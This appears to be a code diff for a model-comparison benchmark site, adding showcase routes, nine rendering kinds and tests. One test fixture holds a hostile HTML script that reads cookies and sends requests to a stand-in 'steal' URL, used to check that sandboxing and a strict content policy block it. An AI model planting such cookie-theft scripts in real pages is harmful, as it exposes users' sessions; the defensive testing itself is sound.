+ score: b.crashed ? 1 : moreFun,
+ subject,
+ });
+ }
+ res.set('Cache-Control', 'private, no-store');
+ return res.status(201).json({ judged: true, revealed: true, judgement: out.judgement });
+ } catch (err) {
+ if (err && err.status) return problem(res, err.status, err.code || 'bench.invalid', err.detail || 'The vote was not accepted.');
+ ctx.log.warn('[OpenVibe.Bench] showcase vote failed:', (err && err.message) || err);
+ return problem(res, 500, 'internal.error', 'Bench could not answer. Try again in a moment.');
+ }
+ });
+
+ r.get('/stats', async (req, res) => {
+ try {
+ const stats = await loadStats(ctx);
+ res.set('Cache-Control', 'public, max-age=60');
+ return res.json(stats);
+ } catch (err) {
+ ctx.log.warn('[OpenVibe.Bench] showcase stats failed:', (err && err.message) || err);
+ return problem(res, 500, 'internal.error', 'Bench could not answer. Try again in a moment.');
+ }
+ });
+
+ return r;
+}
+
+function createShowcasePages(ctx) {
+ const r = express.Router();
+ const { config, principal } = ctx;
+ r.use(principal.middleware);
+ const viewerOf = (req) => (req.principal && req.principal.kind === 'user'
+ ? { kind: 'user', subject: req.principal.subject, displayName: req.principal.displayName || req.principal.username }
+ : { kind: 'anonymous' });
+
+ r.get('/', async (req, res) => {
+ const pairs = await loadPairs(ctx, { kind: req.query.kind, limit: req.query.limit });
+ return send(res, 200, {
+ config,
+ viewer: viewerOf(req),
+ title: 'Showcase: two models side by side',
+ description: 'One prompt, two models, live sandboxed frames: the OpenVibe.Bench showcase.',
+ body: raw(galleryView(pairs)),
+ });
+ });
+
+ r.get('/round/:id', async (req, res) => {
+ const subject = req.principal && req.principal.kind === 'user' ? req.principal.subject : null;
+ const round = await loadRound(ctx, String(req.params.id || ''), subject);
+ if (!round) {
+ return send(res, 404, { config, viewer: viewerOf(req), title: 'No such round', body: raw('<section><h1>No such round</h1></section>') });
+ }
+ return send(res, 200, {
+ config,
+ viewer: viewerOf(req),
+ title: 'Compare two outputs',
+ description: 'Two models, one prompt, side by side.',
+ body: raw(roundView(round, Boolean(subject))),
+ });
+ });
+
+ r.post('/round/:id', async (req, res) => {
+ const subject = req.principal && req.principal.kind === 'user' ? req.principal.subject : null;
+ const round = await loadRound(ctx, String(req.params.id || ''), null);
+ if (!round) return res.redirect('/showcase');
+ if (!subject) return res.redirect('/auth/login?next=' + encodeURIComponent('/showcase/round/' + round.id));
+ const map = { A: 'left', B: 'right', tie: 'tie', both_bad: 'both_bad' };
+ const outcome = map[String((req.body && req.body.outcome) || '')];
+ if (!outcome) return res.redirect('/showcase/round/' + round.id);
+ try {
+ await ctx.bench.castJudgement({
+ roundId: round.id,
+ judge: 'human_pairwise',
+ pair: { left: round.slots[0].entry_id, right: round.slots[1].entry_id },
+ outcome,
+ subject,
+ });
+ } catch (err) {
+ ctx.log.warn('[OpenVibe.Bench] showcase page vote failed:', (err && err.message) || err);
+ }
+ return res.redirect('/showcase/round/' + round.id);
+ });
+
+ return r;
+}
+
+module.exports = { createShowcaseRoutes, createShowcasePages, loadPairs, loadRound, loadStats, SHOWCASE_KIND_IDS };
@@ -27,8 +27,22 @@ const KINDS = Object.freeze([
@@ -27,8 +27,22 @@ const KINDS = Object.freeze([
{ id: 'speech.asr', room: 'speech', entry: 'transcript', judge: 'automatic_grader', name: 'Speech recognition', metrics: ['word_error_rate', 'cost_usd'], schema: { entry: 'transcript', payload: { transcript: 'string' } } },
{ id: 'speech.asr', room: 'speech', entry: 'transcript', judge: 'automatic_grader', name: 'Speech recognition', metrics: ['word_error_rate', 'cost_usd'], schema: { entry: 'transcript', payload: { transcript: 'string' } } },
{ id: 'translate.ja', room: 'translate', entry: 'translation', judge: 'human_pairwise', name: 'Japanese translation', metrics: ['elo', 'cost_usd'], schema: { entry: 'translation', payload: { translation: 'string' }, prompt: { source_text: 'string', source_language: 'string', audience: 'string' }, rubric: ['Preserve the source meaning', 'Use natural Japanese for the audience', 'Preserve names, numbers and uncertainty'], seeds: [{ source_text: 'The meeting starts at 3 p.m. Please bring the draft.', source_language: 'en', audience: 'coworker' }] } },
{ id: 'translate.ja', room: 'translate', entry: 'translation', judge: 'human_pairwise', name: 'Japanese translation', metrics: ['elo', 'cost_usd'], schema: { entry: 'translation', payload: { translation: 'string' }, prompt: { source_text: 'string', source_language: 'string', audience: 'string' }, rubric: ['Preserve the source meaning', 'Use natural Japanese for the audience', 'Preserve names, numbers and uncertainty'], seeds: [{ source_text: 'The meeting starts at 3 p.m. Please bring the draft.', source_language: 'en', audience: 'coworker' }] } },
{ id: 'search.answer', room: 'search', entry: 'cited_answer', judge: 'human_pairwise', name: 'Cited answers', metrics: ['elo', 'cost_usd'], schema: { entry: 'cited_answer', payload: { answer: 'string', citations: 'array' }, prompt: { question: 'string', source_urls: 'array' }, rubric: ['Answer from the supplied sources', 'Cite claims with supporting URLs', 'State when the sources do not establish an answer'], seeds: [{ question: 'What year was the first release announced?', source_urls: ['https://example.org/releases'] }] } },
{ id: 'search.answer', room: 'search', entry: 'cited_answer', judge: 'human_pairwise', name: 'Cited answers', metrics: ['elo', 'cost_usd'], schema: { entry: 'cited_answer', payload: { answer: 'string', citations: 'array' }, prompt: { question: 'string', source_urls: 'array' }, rubric: ['Answer from the supplied sources', 'Cite claims with supporting URLs', 'State when the sources do not establish an answer'], seeds: [{ question: 'What year was the first release announced?', source_urls: ['https://example.org/releases'] }] } },
+ // The nine showcase kinds (spec 2, 2026-10-30). Script-bearing kinds render on the isolated render origin
+ // (server/bench/render.js): the inert in-page sandbox allows no scripts, so a game, a canvas loop, three.js or
+ // a shader cannot run there.
+ { id: 'games.play', room: 'games', entry: 'html_game', judge: 'human_pairwise', name: 'Playable games arena', metrics: ['elo', 'cost_usd', 'ms', 'crash_rate'], schema: { renderer: 'script', limit_ms: 120000, judges: ['human_pairwise', 'game_outcome'], entry: 'html_game', payload: { html: 'string' } } },
+ { id: 'games.three', room: 'games', entry: 'three_scene', judge: 'human_pairwise', name: 'three.js scenes', metrics: ['elo', 'cost_usd', 'ms', 'first_paint_ms'], schema: { renderer: 'script', limit_ms: 60000, judges: ['human_pairwise'], entry: 'three_scene', payload: { html: 'string' } } },
+ { id: 'design.svg', room: 'design', entry: 'svg_art', judge: 'human_pairwise', name: 'SVG illustration arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'static', limit_ms: 20000, judges: ['human_pairwise'], entry: 'svg_art', payload: { svg: 'string' } } },
+ { id: 'design.motion', room: 'design', entry: 'motion_html', judge: 'human_pairwise', name: 'Motion and effects arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'script', limit_ms: 20000, judges: ['human_pairwise'], entry: 'motion_html', payload: { html: 'string' } } },
+ { id: 'design.ui', room: 'design', entry: 'ui_page', judge: 'human_pairwise', name: 'Interface screens arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'script', limit_ms: 20000, judges: ['human_pairwise', 'rubric'], entry: 'ui_page', payload: { html: 'string' } } },
+ { id: 'design.dataviz', room: 'design', entry: 'dataviz_page', judge: 'human_pairwise', name: 'Data visualisation aids', metrics: ['elo', 'cost_usd', 'ms', 'pass_rate'], schema: { renderer: 'script', limit_ms: 20000, judges: ['human_pairwise', 'rubric', 'automatic_grader'], entry: 'dataviz_page', payload: { html: 'string' } } },
+ { id: 'design.model3d', room: 'design', entry: 'gltf_model', judge: 'human_pairwise', name: '3D model arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'script', limit_ms: 60000, judges: ['human_pairwise', 'automatic_grader'], entry: 'gltf_model', payload: { gltf_base64: 'string' } } },
+ { id: 'design.shader', room: 'design', entry: 'shader_glsl', judge: 'human_pairwise', name: 'Shader arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'script', limit_ms: 20000, judges: ['human_pairwise', 'automatic_grader'], entry: 'shader_glsl', payload: { glsl: 'string' } } },
+ { id: 'design.interface', room: 'design', entry: 'component_set', judge: 'human_pairwise', name: 'Component systems arena', metrics: ['elo', 'cost_usd', 'ms'], schema: { renderer: 'script', limit_ms: 20000, judges: ['human_pairwise', 'rubric'], entry: 'component_set', payload: { html: 'string' } } },
]);
]);
const byId = new Map(KINDS.map((k) => [k.id, k]));
const byId = new Map(KINDS.map((k) => [k.id, k]));
-module.exports = { KINDS, JUDGES, WINNERS, kindById: (id) => byId.get(id) || null };
+const SHOWCASE_KIND_IDS = Object.freeze(KINDS.filter((k) => k.schema && k.schema.renderer).map((k) => k.id));
+
+module.exports = { KINDS, JUDGES, WINNERS, SHOWCASE_KIND_IDS, kindById: (id) => byId.get(id) || null };
@@ -20,7 +20,7 @@ const PROTOCOL_VERSION = '2025-06-18';
@@ -20,7 +20,7 @@ const PROTOCOL_VERSION = '2025-06-18';
const SUPPORTED_VERSIONS = Object.freeze(new Set(['2025-06-18', '2025-03-26']));
const SUPPORTED_VERSIONS = Object.freeze(new Set(['2025-06-18', '2025-03-26']));
const BODY_LIMIT = '64kb';
const BODY_LIMIT = '64kb';
-const INSTRUCTIONS = 'Bench runs one shared benchmark engine across every OpenVibe room. list_kinds shows the fifteen kinds; start_round queues a pinned round and returns its id; next_pair fetches a blind pair to judge; cast_judgement records a vote and reveals the two entries; get_board renders an elo, pareto or cost board; run_eval runs a private task suite.';
+const INSTRUCTIONS = 'Bench runs one shared benchmark engine across every OpenVibe room. list_kinds shows every kind Bench runs; start_round queues a pinned round and returns its id; next_pair fetches a blind pair to judge; cast_judgement records a vote and reveals the two entries; get_board renders an elo, pareto or cost board; run_eval runs a private task suite.';
function toolsInput() {
function toolsInput() {
return {
return {
@@ -73,7 +73,7 @@ function toolsInput() {
@@ -73,7 +73,7 @@ function toolsInput() {
}
}
const TOOL_META = Object.freeze([
const TOOL_META = Object.freeze([
- { name: 'bench.list_kinds', title: 'List Bench kinds', description: 'List the fifteen benchmark kinds Bench runs for every room.' },
+ { name: 'bench.list_kinds', title: 'List Bench kinds', description: 'List the benchmark kinds Bench runs for every room.' },
{ name: 'bench.start_round', title: 'Start a Bench round', description: 'Create a task and queue a pinned round for it.' },
{ name: 'bench.start_round', title: 'Start a Bench round', description: 'Create a task and queue a pinned round for it.' },
{ name: 'bench.next_pair', title: 'Next blind pair', description: 'Fetch the next ready round this person has not judged, with the two entries shuffled and identities hidden.' },
{ name: 'bench.next_pair', title: 'Next blind pair', description: 'Fetch the next ready round this person has not judged, with the two entries shuffled and identities hidden.' },
{ name: 'bench.cast_judgement', title: 'Cast a judgement', description: 'Record a blind pairwise vote and reveal the two entries.' },
{ name: 'bench.cast_judgement', title: 'Cast a judgement', description: 'Record a blind pairwise vote and reveal the two entries.' },
@@ -36,7 +36,12 @@ function wireKind(row) {
@@ -36,7 +36,12 @@ function wireKind(row) {
let metrics = row.metrics;
let metrics = row.metrics;
if (typeof schema === 'string') { try { schema = JSON.parse(schema); } catch { schema = {}; } }
if (typeof schema === 'string') { try { schema = JSON.parse(schema); } catch { schema = {}; } }
if (typeof metrics === 'string') { try { metrics = JSON.parse(metrics); } catch { metrics = []; } }
if (typeof metrics === 'string') { try { metrics = JSON.parse(metrics); } catch { metrics = []; } }
- return { id: row.id, room: row.room, entry: row.entry, judge: row.judge, name: row.name, schema, metrics: Array.isArray(metrics) ? metrics : [], created_at: iso(row.created_at) };
+ return {
+ id: row.id, room: row.room, entry: row.entry, judge: row.judge, name: row.name,
+ renderer: schema.renderer || null, limit_ms: schema.limit_ms == null ? null : num(schema.limit_ms),
+ judges: Array.isArray(schema.judges) ? schema.judges : null,
+ schema, metrics: Array.isArray(metrics) ? metrics : [], created_at: iso(row.created_at),
+ };
}
}
function wireTask(row) {
function wireTask(row) {
@@ -2,7 +2,7 @@
@@ -2,7 +2,7 @@
/**
/**
* Bench's own origin pages (the main session designs them later): a plain home that says what Bench is, lists the
* Bench's own origin pages (the main session designs them later): a plain home that says what Bench is, lists the
- * fifteen kinds and links to boards and docs, and /docs for the API. Ids and classes start with `bm-`.
+ * every kind and links to boards and docs, and /docs for the API. Ids and classes start with `bm-`.
*/
*/
const { esc } = require('../render/html');
const { esc } = require('../render/html');
@@ -34,7 +34,7 @@ function docs() {
@@ -34,7 +34,7 @@ function docs() {
<header class="bm-page-h"><p class="bm-kicker">Developers</p><h1>The Bench API</h1>
<header class="bm-page-h"><p class="bm-kicker">Developers</p><h1>The Bench API</h1>
<p class="bm-lede">JSON under <code>/api/v1</code>, with <code>application/problem+json</code> errors. A person is the <code>bench_at</code> session cookie or a Network user token as a Bearer; a service sends a client-credentials token with <code>bench.*</code> capabilities.</p></header>
<p class="bm-lede">JSON under <code>/api/v1</code>, with <code>application/problem+json</code> errors. A person is the <code>bench_at</code> session cookie or a Network user token as a Bearer; a service sends a client-credentials token with <code>bench.*</code> capabilities.</p></header>
<section><h2>Read</h2><dl class="bm-eps">
<section><h2>Read</h2><dl class="bm-eps">
-${ep('GET', '/api/v1/kinds', 'The fifteen benchmark kinds.')}
+${ep('GET', '/api/v1/kinds', 'The benchmark kinds.')}
${ep('GET', '/api/v1/kinds/:kindId', 'One kind and its entry schema and metrics.')}
${ep('GET', '/api/v1/kinds/:kindId', 'One kind and its entry schema and metrics.')}
${ep('GET', '/api/v1/tasks/:id', 'One task.')}
${ep('GET', '/api/v1/tasks/:id', 'One task.')}
${ep('GET', '/api/v1/rounds/:id', 'One round with entries; entries stay blind until the caller has judged or started the round.')}
${ep('GET', '/api/v1/rounds/:id', 'One round with entries; entries stay blind until the caller has judged or started the round.')}
@@ -14,10 +14,10 @@ const { boot, check, done } = require('./helpers/boot');
@@ -14,10 +14,10 @@ const { boot, check, done } = require('./helpers/boot');
let leftId;
let leftId;
let rightId;
let rightId;
- await check('kinds are seeded from code (the 15 in §4.12)', async () => {
+ await check('kinds are seeded from code (the 15 of §4.12 plus the nine showcase kinds)', async () => {
const r = await t.get('/api/v1/kinds');
const r = await t.get('/api/v1/kinds');
assert.strictEqual(r.status, 200, r.text);
assert.strictEqual(r.status, 200, r.text);
- assert.strictEqual(r.json().kinds.length, 15);
+ assert.strictEqual(r.json().kinds.length, 24);
const ids = r.json().kinds.map((k) => k.id);
const ids = r.json().kinds.map((k) => k.id);
for (const want of ['design.page', 'games.match', 'meme.caption', 'vision.answer', 'codes.patch', 'speech.tts', 'speech.asr', 'translate.ja', 'search.answer']) {
for (const want of ['design.page', 'games.match', 'meme.caption', 'vision.answer', 'codes.patch', 'speech.tts', 'speech.asr', 'translate.ja', 'search.answer']) {
assert.ok(ids.includes(want), `missing kind ${want}`);
assert.ok(ids.includes(want), `missing kind ${want}`);
@@ -55,10 +55,10 @@ const rpc = (method, params, id = 1) => ({ jsonrpc: '2.0', id, method, ...(param
@@ -55,10 +55,10 @@ const rpc = (method, params, id = 1) => ({ jsonrpc: '2.0', id, method, ...(param
assert.strictEqual(r.json().error.message, 'Unknown tool');
assert.strictEqual(r.json().error.message, 'Unknown tool');
});
});
- await check('bench.list_kinds lists the fifteen kinds', async () => {
+ await check('bench.list_kinds lists every kind Bench runs', async () => {
const r = await t.get('/mcp', { json: rpc('tools/call', { name: 'bench.list_kinds', arguments: {} }, 8) });
const r = await t.get('/mcp', { json: rpc('tools/call', { name: 'bench.list_kinds', arguments: {} }, 8) });
assert.strictEqual(r.json().result.isError, false);
assert.strictEqual(r.json().result.isError, false);
- assert.strictEqual(r.json().result.structuredContent.kinds.length, 15);
+ assert.strictEqual(r.json().result.structuredContent.kinds.length, 24);
});
});
await check('bench.get_board renders a board without a person', async () => {
await check('bench.get_board renders a board without a person', async () => {
new file mode 100644
new file mode 100644
@@ -0,0 +1,164 @@
@@ -0,0 +1,164 @@
+'use strict';
+
+const assert = require('assert');
+const { boot, check, done } = require('./helpers/boot');
+
+const HOSTILE = [
+ '<!doctype html><html><body><script>',
+ 'document.cookie;',
+ 'try { parent.location = "https://example.org/"; } catch (e) {}',
+ 'fetch("https://example.org/steal").catch(function(){});',
+ 'new Image().src = "https://example.org/pixel";',
+ '<form action="https://example.org/post"><input name="x"></form>',
+ '</script><p>hostile</p></body></html>',
+].join('');
+
+(async () => {
+ const t = await boot();
+ const alice = t.network.addUser('alice');
+ const bob = t.network.addUser('bob');
+ const svc = t.network.serviceToken({ sub: 'svc:games', audience: 'openvibe.bench', cap: ['bench.entry.create'] });
+
+ let roundId;
+ let entryA;
+ let entryB;
+
+ await check('the nine showcase kinds exist with a renderer, a judge and an entry schema', async () => {
+ const r = await t.get('/api/v1/kinds');
+ assert.strictEqual(r.status, 200, r.text);
+ const byId = new Map(r.json().kinds.map((k) => [k.id, k]));
+ assert.strictEqual(r.json().kinds.length, 24);
+ const want = ['games.play', 'games.three', 'design.svg', 'design.motion', 'design.ui', 'design.dataviz', 'design.model3d', 'design.shader', 'design.interface'];
+ for (const id of want) {
+ const k = byId.get(id);
+ assert.ok(k, 'missing kind ' + id);
+ assert.ok(k.renderer === 'script' || k.renderer === 'static', id + ' renderer');
+ assert.ok(k.judge, id + ' judge');
+ assert.ok(k.schema && k.schema.entry && k.schema.payload, id + ' entry schema');
+ assert.ok(k.limit_ms > 0, id + ' time limit');
+ }
+ assert.strictEqual(byId.get('games.play').limit_ms, 120000);
+ assert.strictEqual(byId.get('design.ui').limit_ms, 20000);
+ assert.strictEqual(byId.get('games.three').limit_ms, 60000);
+ assert.strictEqual(byId.get('design.svg').renderer, 'static');
+ });
+
+ await check('the ten showcase prompts are seeded across at least five kinds', async () => {
+ const r = await t.get('/api/v1/kinds');
+ const kinds = new Set(r.json().kinds.map((k) => k.id));
+ const rows = await t.ctx.s.db.many("SELECT kind_id, COUNT(*)::int AS n FROM bench_tasks WHERE public = true GROUP BY kind_id");
+ assert.ok(rows.length >= 5, 'at least five kinds seeded');
+ for (const row of rows) assert.ok(kinds.has(row.kind_id), row.kind_id);
+ });
+
+ await check('a hostile entry is served under a strict CSP with no cookies', async () => {
+ const task = await t.get('/api/v1/kinds/games.play/tasks', { as: alice, json: { prompt: 'A hostile game.', public: true } });
+ assert.strictEqual(task.status, 201, task.text);
+ const rr = await t.get('/api/v1/tasks/' + task.json().task.id + '/rounds', { as: alice, json: {} });
+ assert.strictEqual(rr.status, 201, rr.text);
+ roundId = rr.json().round.id;
+ const e1 = await t.get('/api/v1/rounds/' + roundId + '/entries', { bearer: svc, json: { provider: 'acme', model: 'alpha-1', payload: { html: HOSTILE } } });
+ assert.strictEqual(e1.status, 201, e1.text);
+ entryA = e1.json().entry.id;
+ const e2 = await t.get('/api/v1/rounds/' + roundId + '/entries', { bearer: svc, json: { provider: 'beta', model: 'beta-2', payload: { html: '<p>calm</p>' } } });
+ assert.strictEqual(e2.status, 201, e2.text);
+ entryB = e2.json().entry.id;
+
+ const doc = await t.get('/render/e/' + entryA);
+ assert.strictEqual(doc.status, 200, doc.text);
+ const csp = doc.headers.get('content-security-policy') || '';
+ assert.ok(csp.includes("connect-src 'none'"), 'no network: ' + csp);
+ assert.ok(csp.includes("form-action 'none'"), 'no forms: ' + csp);
+ assert.ok(csp.includes("default-src 'none'"), 'default none: ' + csp);
+ assert.ok(csp.includes('frame-ancestors'), 'frame ancestors: ' + csp);
+ assert.ok(csp.includes("script-src 'nonce-"), 'scripts carry our nonce: ' + csp);
+ assert.ok(!csp.includes('unsafe-inline') || csp.includes("style-src 'unsafe-inline'"), 'no inline script allowance');
+ assert.ok(!doc.headers.get('set-cookie'), 'the render origin sets no cookie');
+ assert.ok(doc.text.includes('nonce='), 'the model script carries the nonce');
+ });
+
+ await check('the wrapper sandboxes the model frame with scripts only', async () => {
+ const w = await t.get('/render/w/' + entryA);
+ assert.strictEqual(w.status, 200, w.text);
+ assert.ok(w.text.includes('sandbox="allow-scripts"'), 'the child frame allows scripts');
+ for (const forbidden of ['allow-same-origin', 'allow-forms', 'allow-popups', 'allow-top-navigation', 'allow-downloads']) {
+ assert.ok(!w.text.includes(forbidden), 'the child frame must not allow ' + forbidden);
+ }
+ assert.ok(w.text.includes('data-limit-ms="120000"'), 'the wrapper knows the kind clock');
+ assert.ok(w.text.includes('id="stop"'), 'the wrapper has a stop button');
+ assert.ok(!w.headers.get('set-cookie'), 'the wrapper sets no cookie');
+ });
+
+ await check('an entry is capped at 200 KB', async () => {
+ const big = '<p>' + 'x'.repeat(300 * 1024) + '</p>';
+ const task = await t.get('/api/v1/kinds/design.ui/tasks', { as: alice, json: { prompt: 'A huge page.', public: true } });
+ const rr = await t.get('/api/v1/tasks/' + task.json().task.id + '/rounds', { as: alice, json: {} });
+ const rid = rr.json().round.id;
+ const eid = t.ctx.s.newId('bte');
+ await t.ctx.s.db.exec(
+ 'INSERT INTO bench_entries (id, round_id, provider, model, route, payload, cost_usd, ms, tokens, created_at) VALUES ($1, $2, $3, $4, $5::jsonb, $6::jsonb, 0, 1, 1, now())',
+ [eid, rid, 'acme', 'alpha-1', JSON.stringify({ provider: 'acme', model: 'alpha-1' }), JSON.stringify({ html: big })]);
+ const doc = await t.get('/render/e/' + eid);
+ assert.strictEqual(doc.status, 200, doc.text);
+ assert.ok(Buffer.byteLength(doc.text, 'utf8') <= 200 * 1024 + 4096, 'the entry is capped');
+ assert.ok(Buffer.byteLength(doc.text, 'utf8') < 300 * 1024, 'the entry was cut down');
+ });
+
+ await check('the gallery lists the pairs blind', async () => {
+ const r = await t.get('/api/v1/showcase/pairs');
+ assert.strictEqual(r.status, 200, r.text);
+ const pair = r.json().pairs.find((p) => p.id === roundId);
+ assert.ok(pair, 'the round is in the gallery');
+ assert.strictEqual(pair.slots.length, 2);
+ assert.strictEqual(pair.slots[0].slot, 'A');
+ assert.strictEqual(pair.slots[1].slot, 'B');
+ assert.strictEqual(pair.slots[0].model, undefined, 'no model before the vote');
+ assert.ok(pair.slots[0].wrapper_url.startsWith('/render/w/'));
+ });
+
+ await check('the compare page is blind, and the vote reveals', async () => {
+ const before = await t.get('/api/v1/showcase/rounds/' + roundId, { as: bob });
+ assert.strictEqual(before.status, 200, before.text);
+ assert.strictEqual(before.json().round.revealed, false);
+ assert.strictEqual(before.json().round.slots[0].model, undefined);
+
+ const page = await t.get('/showcase/round/' + roundId, { as: bob });
+ assert.strictEqual(page.status, 200, page.text);
+ assert.ok(page.text.includes('data-slot="A"'), 'pane A');
+ assert.ok(page.text.includes('data-slot="B"'), 'pane B');
+ assert.ok(page.text.includes('data-vote-form="1"'), 'the vote form');
+ assert.ok(!page.text.includes('alpha-1'), 'no model name before the vote');
+
+ const vote = await t.get('/api/v1/showcase/rounds/' + roundId + '/vote', { as: bob, json: { outcome: 'A' } });
+ assert.strictEqual(vote.status, 201, vote.text);
+ assert.strictEqual(vote.json().revealed, true);
+
+ const after = await t.get('/api/v1/showcase/rounds/' + roundId, { as: bob });
+ assert.strictEqual(after.json().round.revealed, true);
+ assert.ok(after.json().round.slots[0].model, 'the model is open after the vote');
+ });
+
+ await check('one vote per person, and a creator never votes on their own round', async () => {
+ const again = await t.get('/api/v1/showcase/rounds/' + roundId + '/vote', { as: bob, json: { outcome: 'B' } });
+ assert.strictEqual(again.status, 409, again.text);
+ const owner = await t.get('/api/v1/showcase/rounds/' + roundId + '/vote', { as: alice, json: { outcome: 'A' } });
+ assert.strictEqual(owner.status, 403, owner.text);
+ });
+
+ await check('the stats endpoint answers with Elo, an interval, cost and time', async () => {
+ const r = await t.get('/api/v1/showcase/stats');
+ assert.strictEqual(r.status, 200, r.text);
+ assert.ok(Array.isArray(r.json().kinds));
+ const games = r.json().kinds.find((k) => k.kind_id === 'games.play');
+ assert.ok(games, 'the games kind is in the stats');
+ const row = games.rows[0];
+ assert.ok(typeof row.elo === 'number', 'elo');
+ assert.ok('elo_ci_lower' in row && 'elo_ci_upper' in row, 'the Elo interval');
+ assert.ok('cost_per_entry_usd' in row, 'cost per entry');
+ assert.ok('median_ms' in row, 'time per entry');
+ assert.ok('win_rate' in row && 'provisional' in row, 'win rate and the provisional flag');
+ });
+
+ await t.close();
+ done();
+})().catch((e) => { console.error(e); process.exit(1); });